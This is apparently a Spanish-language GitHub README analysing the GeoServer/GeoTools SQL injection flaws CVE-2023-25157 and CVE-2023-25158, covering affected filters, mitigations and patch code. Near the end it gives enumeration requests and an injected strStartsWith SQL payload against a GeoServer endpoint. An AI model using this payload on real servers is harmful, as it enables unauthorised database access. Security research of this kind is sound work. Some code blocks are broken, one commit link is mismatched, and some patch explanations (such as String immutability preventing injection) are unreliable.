murataydemir/cve-2023-25157-and-cve-2023-25158Inyección SQL en GeoServer y GeoTools (CVE-2023-25157 y CVE-2023-25158)
Este repositorio contiene una descripción detallada y los pasos de replicación de las vulnerabilidades de inyección SQL encontradas en la plataforma GeoServer y en la librería GeoTools. A la vulnerabilidad se le han asignado los identificadores CVE-2023-25157 para GeoServer y CVE-2023-25158 para GeoTools.
GeoServer es un servidor de software de código abierto escrito en Java que ofrece la capacidad de ver, editar y compartir datos geoespaciales. Está diseñado para ser una solución flexible y eficiente para distribuir datos geoespaciales desde una variedad de fuentes, como bases de datos de Sistemas de Información Geográfica (SIG), datos basados en web y conjuntos de datos personales.
GeoServer se adhiere a los estándares del Open Geospatial Consortium (OGC) para el intercambio de datos, incluidos el Web Feature Service (WFS), el Web Map Service (WMS) y el Web Coverage Service (WCS). Esta adhesión a los estándares significa que los datos de GeoServer pueden utilizarse en una amplia variedad de aplicaciones, desde software SIG personalizado hasta soluciones comerciales listas para usar.
GeoServer está construido principalmente sobre Spring Framework; sin embargo, también utiliza una serie de otras librerías y frameworks, entre los que se incluyen:
GeoTools:Las vulnerabilidades en cuestión están profundamente integradas en las expresiones de filtros y funciones definidas por los estándares del Open Geospatial Consortium (OGC). Estas expresiones constituyen la base de la consulta y manipulación de datos geoespaciales, desempeñando un papel fundamental en la funcionalidad de sistemas como GeoServer y GeoTools.
Cuando estas vulnerabilidades son explotadas, pueden dar lugar a graves violaciones de seguridad. La divulgación no autorizada de información es una de las principales preocupaciones, ya que los atacantes podrían acceder a datos sensibles almacenados en la base de datos. La modificación no autorizada es otro resultado potencial, ya que los atacantes pueden manipular los datos en su beneficio. Además, estas vulnerabilidades también pueden facilitar la interrupción del servicio, ya que una explotación exitosa podría llevar a la indisponibilidad del servicio.
A continuación se ofrece un análisis en profundidad de cada vulnerabilidad identificada. Cada vulnerabilidad se examina en detalle, discutiendo sus características específicas, las condiciones que dan lugar a su manifestación y los posibles efectos de su explotación. A continuación se desglosan detalladamente las vulnerabilidades encontradas en GeoServer:
PropertyIsLike: esta vulnerabilidad está presente cuando el filtro PropertyIsLike se utiliza con un campo String junto con cualquier Store basado en bases de datos relacionales, un PostGIS DataStore con las funciones encode habilitadas, o cualquier mosaico de imágenes con un índice almacenado en una base de datos relacional.strEndsWith: esta vulnerabilidad surge cuando la función strEndsWith se utiliza con un PostGIS DataStore con las funciones encode habilitadas.strStartsWith: esta vulnerabilidad se encuentra cuando la función strStartsWith se utiliza con un PostGIS DataStore con las funciones encode habilitadas.FeatureId: esta vulnerabilidad está presente cuando el filtro FeatureId se utiliza con cualquier tabla de base de datos que tenga una columna de clave primaria String y cuando las sentencias preparadas están deshabilitadas.jsonArrayContains: esta vulnerabilidad se encuentra cuando la función jsonArrayContains se utiliza con un campo String o JSON y con un PostGIS u Oracle DataStore (solo en GeoServer 2.22.0 y versiones posteriores).DWithin: esta vulnerabilidad se descubre cuando el filtro DWithin se utiliza con un Oracle DataStore.Y a continuación se desglosan detalladamente las vulnerabilidades encontradas en GeoTools:
PropertyIsLike:
String (sin mitigación)strEndsWith:
strStartsWith:
FeatureId:
String (Oracle no se ve afectado; SQL Server y MySQL no tienen configuraciones para habilitar sentencias preparadas, PostGIS sí)jsonArrayContains:
String o JSONDWithin:
CVE-2023-25157 Inyección SQL en GeoServer.CVE-2023-25158 Inyección SQL en GeoTools.La acción recomendada tanto para la vulnerabilidad de inyección SQL en GeoServer (CVE-2023-25157) como para la de inyección SQL en GeoTools (CVE-2023-25158) es actualizar a las versiones mencionadas o a una superior. Si esta actualización ya se ha completado, no se requieren pasos adicionales. Sin embargo, para aquellos que puedan tener dificultades para actualizar de inmediato, el equipo Geo ha proporcionado algunas soluciones alternativas a continuación.
Deshabilitar la configuración de funciones encode del PostGIS Datastore para mitigar las vulnerabilidades strEndsWith y strStartsWith (los filtros 'like' no tienen mitigación, si hay un campo string en el tipo de feature publicado).
Habilitar la configuración preparedStatements del PostGIS DataStore para mitigar la vulnerabilidad FeatureId.```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
- Como buena práctica para limitar la superficie de ataque, es importante otorgar a la cuenta de base de datos utilizada para los grupos de conexiones el nivel mínimo de privilegios requerido (por ejemplo, solo lectura a menos que se utilicen WFS-T/importer/recolección de granules REST, acceso limitado solo a los esquemas y tablas necesarios para el uso en producción).
- No hay mitigación disponible para el filtro `PropertyIsLike`; puede optar por deshabilitar los DataStores de base de datos hasta que pueda actualizar.
- No hay mitigación disponible para `DWithin` con DataStore de Oracle; puede optar por deshabilitar los DataStores de Oracle hasta que pueda actualizar.
### <b>Análisis del Parche: Issue de GitHub y Commits Relacionados</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
A continuación se proporcionan enlaces a varias incidencias de JIRA relevantes relacionadas con las vulnerabilidades de inyección SQL encontradas tanto en GeoServer como en GeoTools. Estos enlaces ofrecen acceso a datos cruciales, discusiones y soluciones propuestas relacionadas con estas vulnerabilidades específicas.
- [GEOS-10842: JDBCConfig: escapar las entradas de usuario en las consultas SQL](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: añadir un parámetro de configuración JDBC para deshabilitar los comentarios SQL y el formateo](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Escapar las entradas de usuario en consultas SQL](https://osgeo-org.atlassian.net/browse/GEOT-7302)
Al observar el commit [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), se pueden ver claramente los siguientes cambios, respectivamente:
- En [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java), se añade un campo de propiedad y se modifican los constructores para incluir este campo de propiedad. Esto permite una mayor personalización de la configuración de la base de datos, lo que potencialmente posibilita medidas de seguridad mejoradas. [`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) es una clase proporcionada por Spring Framework que añade soporte para programar sentencias JDBC utilizando parámetros nombrados, en lugar de programar sentencias JDBC con los clásicos argumentos de marcador de posición ('?'). En el commit, el constructor de `ConfigDatabase` se actualiza para tomar un `DataSource` y crear un `NamedParameterJdbcTemplate` a partir de él. Los parámetros nombrados mejoran la legibilidad y también pueden prevenir ataques de inyección SQL porque dejan claro que el argumento está parametrizado y no forma parte del comando SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
template.queryForObject. En lugar de usar sql.toString(), se usa la propia variable sql, que parece ser una sentencia SQL construida de forma segura.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
El objeto StringBuilder `sql` en [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) se reemplaza por un objeto String. Este cambio puede ser significativo para prevenir ataques de inyección SQL, ya que los objetos StringBuilder, al ser mutables, pueden dar lugar a modificaciones inadvertidas o maliciosas de la consulta SQL. Reemplazarlo por un String, que es inmutable, puede ayudar a prevenir dichas modificaciones y, por tanto, prevenir la inyección SQL.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeComment a la clase Dialect.java. Este método toma una cadena de comentario y escapa los caracteres potencialmente peligrosos que contiene. En concreto, parece escapar los caracteres de apertura y cierre de comentarios SQL ('/*' y '*/'), que se utilizan en algunos ataques de inyección SQL.
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- Adición de comentarios a SQL: Se ha añadido un nuevo método `appendComment` a la clase [`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java) para añadir objetos al SQL como comentario. Si el modo de depuración no está habilitado, estos métodos simplemente devuelven el SQL original. Si el modo de depuración está habilitado, añaden la representación en cadena de los objetos proporcionados al SQL en forma de comentario. Los comentarios se escapan de forma segura mediante el método `escapeComment`.
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
Añadiendo cadenas al SQL de forma condicional: El método appendIfDebug se añadió a la clase Dialect. Este método añade una de dos cadenas proporcionadas al SQL dependiendo de si el modo de depuración está habilitado. En la clase Dialect.java, se añade un campo debugMode y se proporciona un método setDebugMode() para cambiar su estado. Este modo de depuración se utiliza luego en el método detect().
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
Al observar el commit [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b), los siguientes cambios se pueden ver claramente, respectivamente:
- La adición del campo `escapeBackslash` en la clase [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) es una medida preventiva para evitar ciertas formas de inyección SQL donde el carácter de barra invertida se utiliza para escapar caracteres especiales en la sintaxis SQL. Al proporcionar la opción de escapar las barras invertidas en los literales de cadena, los desarrolladores permiten que la aplicación trate los caracteres de barra invertida como texto plano en lugar de como caracteres de escape, lo que a su vez puede limitar las posibilidades de inyección SQL
Estos cambios trabajan en conjunto para prevenir la inyección SQL al garantizar que los caracteres especiales en los literales de cadena (como comillas simples y dobles y barras invertidas) se escapen adecuadamente antes de incluirse en una consulta SQL. Esta es una forma común de mitigar las vulnerabilidades de inyección SQL. Cuando `escapeBackslash` se establece a `true`, las barras invertidas en los literales de cadena se escaparán cuando se llame al método [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) de la clase [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28). Este método se utiliza en varios lugares de la clase [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) para escapar los literales de cadena antes de que se incluyan en una consulta SQL. Por ejemplo, la [línea 1762](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
es el lugar donde se llama a este método, y donde tendría efecto el ajuste escapeBackslash. En el código original, la aplicación reemplazaba manualmente las comillas simples por dos comillas simples, que es una forma habitual de escapar comillas simples en SQL. Esto es importante porque las comillas simples sin escapar pueden permitir a un atacante terminar un literal de cadena prematuramente y añadir sus propios comandos SQL, lo que conduce a una vulnerabilidad de inyección SQL.
En el código modificado, en lugar de reemplazar manualmente las comillas simples, la aplicación ahora llama al método escapeLiteral() de la clase EscapeSql.java. Este método está diseñado para escapar no solo comillas simples, sino también barras invertidas y, potencialmente, comillas dobles según sus parámetros:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
Al hacer esto, la aplicación es capaz de asegurar que todos los caracteres especiales en la cadena SQL estén correctamente escapados, lo cual es un enfoque más robusto y seguro para prevenir la inyección SQL.
- Cambios en el método `convertToSQL92`: El método `LikeFilterImpl.convertToSQL92` convierte un patrón de la sintaxis estándar 'LIKE' de SQL a la sintaxis SQL-92. En este commit, agregaron un nuevo parámetro a este método. El cambio del método en la clase [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) en la [línea 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547):```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
parece añadir una bandera que probablemente afecta al proceso de conversión de patrones. Anteriormente, la llamada al método no incluía el parámetro false al final. Este valor false presumiblemente está relacionado con si ciertos caracteres en la cadena literal se escapan o no durante el proceso de conversión. El escape puede ayudar a prevenir la inyección SQL al asegurar que los caracteres especiales en la cadena literal no se interpreten como parte de la sintaxis SQL, sino como simples valores de texto.
out.write() con writeLiteral(): El reemplazo de out.write() con writeLiteral() es otro cambio importante. El método out.write() simplemente escribe la cadena dada en el flujo de salida tal cual, sin procesamiento adicional ni escape. Esto podría conducir potencialmente a una inyección SQL si la cadena contiene sintaxis SQL sin escapar.```java
writeLiteral(pattern);Por otro lado, `writeLiteral()` presumiblemente aplica algún tipo de escape o saneamiento a la cadena antes de que se escriba en el flujo de salida, reduciendo así el riesgo de inyección SQL. Este cambio también reemplaza una operación de escritura directa con una llamada a `writeLiteral()`, que probablemente incluye precauciones para prevenir la inyección SQL.```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
Para explotar estas vulnerabilidades correctamente, primero es necesario obtener:
respectivamente. Por lo tanto, la siguiente solicitud se envía al servidor objetivo para obtener los nombres de las características disponibles.``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
Después de obtener los nombres de las características disponibles, necesitamos enviar la siguiente solicitud HTTP para recuperar las propiedades disponibles de las características relevantes disponibles.```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Después de las dos solicitudes HTTP mostradas arriba, enumeramos todos los nombres de características disponibles y los nombres de propiedades asociados a dichos nombres de características. Después de esta etapa, podemos realizar el proceso de explotación enviando al servidor la solicitud HTTP maliciosa inyectada con el payload SQL para cualquier propiedad obtenida.``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close
### <b>Conclusión</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
En conclusión, el descubrimiento de estas vulnerabilidades de inyección SQL en GeoServer y GeoTools, tal como se describen en CVE-2023-25157 y CVE-2023-25158, sirve como un duro recordatorio de las amenazas siempre presentes en el panorama digital. Estas vulnerabilidades, que residen en las expresiones de filtro y función del núcleo de OGC, tienen el potencial de causar interrupciones significativas y acceso o modificaciones no autorizados de datos.
Para obtener más información sobre la remediación de estas vulnerabilidades, visite los siguientes recursos:
- El commit utilizado para corregir la vulnerabilidad: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- El commit utilizado para corregir la vulnerabilidad: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [Vulnerabilidad de inyección SQL en el filtro OGC de GeoServer](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) y [Vulnerabilidad de inyección SQL en el filtro OGC de GeoTools](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub Advisory Database (Revisado por GitHub): Inyección SQL en GeoServer](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf), [GeoServer Advisory Database: Inyección SQL en GeoServer](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) y [GeoTools Advisory Database: Inyección SQL en GeoTools](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [Aviso de NIST para GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) y [Aviso de NIST para GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [Aviso de MITRE para GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) y [Aviso de MITRE para GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)